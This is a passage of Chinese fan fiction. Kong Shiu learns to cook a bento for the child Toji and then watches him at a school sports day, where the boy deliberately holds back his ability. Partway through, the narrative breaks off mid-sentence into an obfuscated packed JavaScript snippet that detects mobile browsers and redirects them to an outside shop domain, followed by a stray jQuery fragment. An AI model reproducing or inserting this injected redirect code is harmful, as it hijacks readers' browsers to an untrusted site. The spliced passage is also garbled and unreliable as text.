晚上八点多，孔时雨钻进卷帘去接甚尔。
店里灯开了大半，一桌熟客占着卡拉OK，唱的怎么样，情绪倒是饱满。甚尔坐在靠墙那张卡座，背靠里头，脸朝着门。看见孔时雨进来，他把桌上糖纸拿起来，下了卡座。
“走了。”孔时雨说。
“哎，急什么。”顺子从吧台后头探出来，手腕上那只旧金镯晃了一下，“坐会儿。喝口茶。”
孔时雨在高脚凳上坐下，没脱外套。顺子搁了杯麦茶在他面前，他没动。
“明天他们学校运动会。”他说，像是顺口.交代，“得带便当。”
“哦——”顺子来了精神，“准备做什么？”
“买。”
“你让小学生运动会吃便利店便当？”
“便当店。”孔时雨说，“贵的那种。可以了吧。”
顺子擦杯子的手停了。她看他一眼，又看一眼坐回卡座的甚尔。
“便利店的也行。”甚尔说，慢慢喝麦茶。
“你俩。”顺子把抹布放下，“上回你说有时候吃便利店，我当你逗我玩。”
“那不也活着么。”孔时雨说。
“运动会。”顺子一字一顿，“你给孩子买一份便当店的‘贵的那种’，往那一堆妈妈中间一搁。”她摇头，“不是那种问题。”
孔时雨没接。他其实不太懂这算哪种问题。或者说他觉得不懂更好。
顺子已经解了围裙又重新系上，绕出吧台，掀开里间的布帘。
“进来。”她冲他抬抬下巴，“你来，我教你。”
——
里间很窄，一口灶，一块案板，头顶一盏黄灯。布帘外头的歌声闷闷地透进来，深情的要命。
顺子打了俩鸡蛋，筷子搅开，往锅里浇了薄薄一层，“卷。从这头往那头，趁它还没全熟。”
蛋香一下铺开。孔时雨拿筷子去卷，蛋皮破了，缩成一团。
“轻点。它又不跑。”
第二张，卷住了，歪歪扭扭的。第三张才像个样子。顺子拿过去，刀背一压，切成段，断面一圈一圈，黄澄澄的。
“看，玉子焼き（厚蛋烧）。”她搁回他面前，“自己来。”
孔时雨接过刀来切。他这双手很稳——切过的东西比鸡蛋难对付得多。切面很齐，齐得过头，一段段摆出来像标本。
“香肠。”顺子扔给他一根，“切章鱼。一头划八刀，下锅一煎腿就翘起来。要可爱。”
孔时雨低头划了八刀，下锅。腿是翘起来了，翘得四面八方，一只焦黑的趴在油里，活像哪桩没收拾干净的现场。
他盯着看。
顺子探头看了一眼，没忍住笑出声，“你这是给孩子带便当，还是带什么去？”
门帘边不知什么时候多了个人影。甚尔靠着门框，不出声地看着。孔时雨切坏的那几段蛋卷、煎糊的那只章鱼，他伸手捏起来，一样样塞进嘴里，面无表情地嚼。
“难吃？”孔时雨问。
“还行。”甚尔说。
锅里又下了一层蛋。顺子伸手按住孔时雨的筷子，手把手地带着卷了一回，金镯蹭在锅沿上叮一声。卷到一半，她随口似的开了腔。
“你看你。”她说，“一个便当折腾成这样。一个大男人，带个孩子过日子……”她顿了顿，“之前那个，怎么样了？”
孔时雨手底下没停。“最近没联系。”
“唉。”顺子那声叹气拖得老长，是当姐姐、当店里妈妈当出来的，“你啊。”
“哪个？”甚尔在门帘边问。
没人答他。顺子瞥孔时雨一眼，孔时雨低头看锅——蛋皮又破了。
“阿一西。”他说。
“——你看，又破了。”顺子把筷子夺过去，“我来。”
后头那一锅是顺子卷的，孔时雨在旁边看着。卷得漂亮，他没学会，但记住了大概，就差多练两手。半夜的小店，灶上一小锅蛋，油烟混着隔壁桌的歌。一个折腾了两个钟头攒出来的便当，一格一格码进塑料盒，盖上盖。
回去的路上甚尔睡着了。便当盒搁在他膝盖上，被他一只手按着，过弯也没滑。
——
私立小学的操场，世田谷区。
早上八点半，天蓝得漂亮。操场上头拉着一道道万国旗，被风扯得啪啪响；广播里放着进行曲，喇叭破音，一阵一阵的。看台底下乌泱泱全是家长，举着摄像机，铺着野餐垫，热气混着哨子声往上蒸。
孔时雨拎着那只便当袋站到边上，进场扫视了一圈。老毛病。
操场中央，一群小孩排着队，统一的体操服，头上扣着红白帽。甚尔在那一片白帽子里头，个子拔尖，红白帽戴得挺端正。他没在四下张望，眼睛收着。
玉入れ——玉入れ（投球入篮），广播念道。
一年级那拨小孩捧着布沙包往半空里那只竹篮乱扔，砸在头上的、滚到脚边的，老师在旁边笑着拢。
轮到甚尔那拨。他抬手，扔。进了。再抬手，进了。又一只，进了。
看着平平无奇，不怎么使劲，就是只只都进。旁边的小孩仰着脖子瞎扔，他低着头，眼睛先找篮，再出手。跟他隔着吧台把火柴扔进那老头手心，是同一只手。
哨子响起，老师来清点，那几只篮里数他们这队最满。几个小孩朝甚尔挤过去拍他肩膀，他没躲，也没怎么搭理，红白帽被拍歪了，伸手扶正。
孔时雨在底下看着，没出声。
——
借物竞走排在上午最后一项。
规则是跑到中线，从一摞卡片里抽一张，照上面写的，去观众席“借”个东西或者人回来，先冲过终点的赢。
发令枪一响，一群小孩跑到中线一通乱抽，抽完撒丫子往看台、往各处冲，一时间满场乱成一团。
甚尔抽到卡，看了一眼。
然后他抬起头，往看台扫了一圈。目光压低，一遍扫过去，落点很快。
那一眼落在了孔时雨身上。
“别过来。”孔时雨说。声音不大，隔着半个操场，对方也听不见。
甚尔已经过来了。绕开一个正手忙脚乱被孩子拽走的爸爸，绕开一堆举着手机的妈妈，直直走到孔时雨跟前，伸手拽住他袖子。
“孔。”
“啊？”孔时雨说，“为什么找我？”
甚尔把那张卡翻过来，给他看。
「いちばんつよそうなひと」——看起来最强的人。
孔时雨：……
“快点。”甚尔拽着他袖子往终点拖。
一个地下中介，一身高级西装，被一张小学生卡片从看台上薅了出来。他低着头跟那小孩往终点小跑，那一堆妈妈的手机不知什么时候已经齐刷刷转了过来。
冲过线。甚尔松开手。一个戴红帽子的老师笑眯眯地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626791|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给他们那队记了分，旁边几个家长还在笑。
孔时雨退回边上，整了整外套袖子。心里某处划过一句模糊的——这卡倒是没出错。这操场上确实没有比他更“强”的人。
他没再想。
——
下午是接力。塑胶跑道被太阳晒出一点橡胶味，甚尔站在最后一棒的格子里，脚尖踩着白线。
接到棒的时候他们队落第三，落后第二名大半截。
预备，蹬地。
他知道这步该怎么跑。前头那两个甩着胳膊的，差着多少，要追上去得使多少力——这账他算得清。可还有一笔账要算：使到八成就够追上了，使到十成，看台上那些举着手机的家长，指不定会看出点别的。
孔教他的——不用孔教他也知道，“别让人记住你哪儿不对。”
所以他收着，用八成。
风从耳边擦过。红色的跑道、白的体操服，前头第二个、第一个，一个接一个被甩到身后，不多不少，正好卡在他算好的那个刻度上。终点线白白一道，越来越近。
冲线的一刹那，满看台的声音哗一下涨起来。有人在喊“伏黒君！”，尖的，几个女生的声音，混着哨子和广播。那些声音从他身上淌过去。
看台底下，靠边，深色外套，没举手机，没出声。
孔站在那儿，看着他。
甚尔慢下来，吐了口气，把目光收回去。
——
底下，孔时雨看完了那一棒。
别人看见的是个跑得飞快的小孩。他看见的是那小孩在隐藏自己：起跑头两步后腰发力的样子他认得，冲线前半秒松掉的那一档他也认得。这小鬼是算着跑的，算到八成，刚好压过前头，又不至于扎眼。
“藏”他教过，甚尔自己也知道。看样子是漏了——一个跑这么快、投这么准、摔了还不疼的小孩，混在一群普通孩子里，藏得跟那只章鱼香肠似的，四面八方都露着。这学校大概早把“伏黒君体育超厉害”当成了定论。
他没动声色。今天不必管。
让他跑。让几个小姑娘冲他喊两声名字。头一回有人把目光聚在他身上，不是因为他姓什么，不是因为他有什么没有什么。
孔时雨拎起便当袋，往那群解散的小孩里走。
——
傍晚回到家，天还没全黑。
甚尔把书包一甩，瘫在沙发上，体操服换回了深绿卫衣。
孔时雨把空了的便当盒从袋里拿出来，搁进水池。
空的。那几只四仰八叉的章鱼香肠也没剩。
“全吃了。”他说。
“吃了。”
“章鱼那个挺难看的。”
“难看。”甚尔说，眼睛盯着天花板，“好吃。”
孔时雨拧开水龙头冲那只盒子。
“なんだ。”他说，“モテモテじゃん”（怎么，这不挺受欢迎嘛）。
“什么？”
“好几个小姑娘喊你。”
“哦。”甚尔说，“不认识。”
水声哗拉拉响。孔时雨把盒子倒扣在沥水架上。
“明天还有半天。”他说，“便当——”
“凑合就行。”甚尔说。
孔时雨没回头。
“凑合个屁。”从冰箱里头拿鸡肉出来，“明天又得早起。去洗澡。”
身后沙发一声响，那小孩起来了。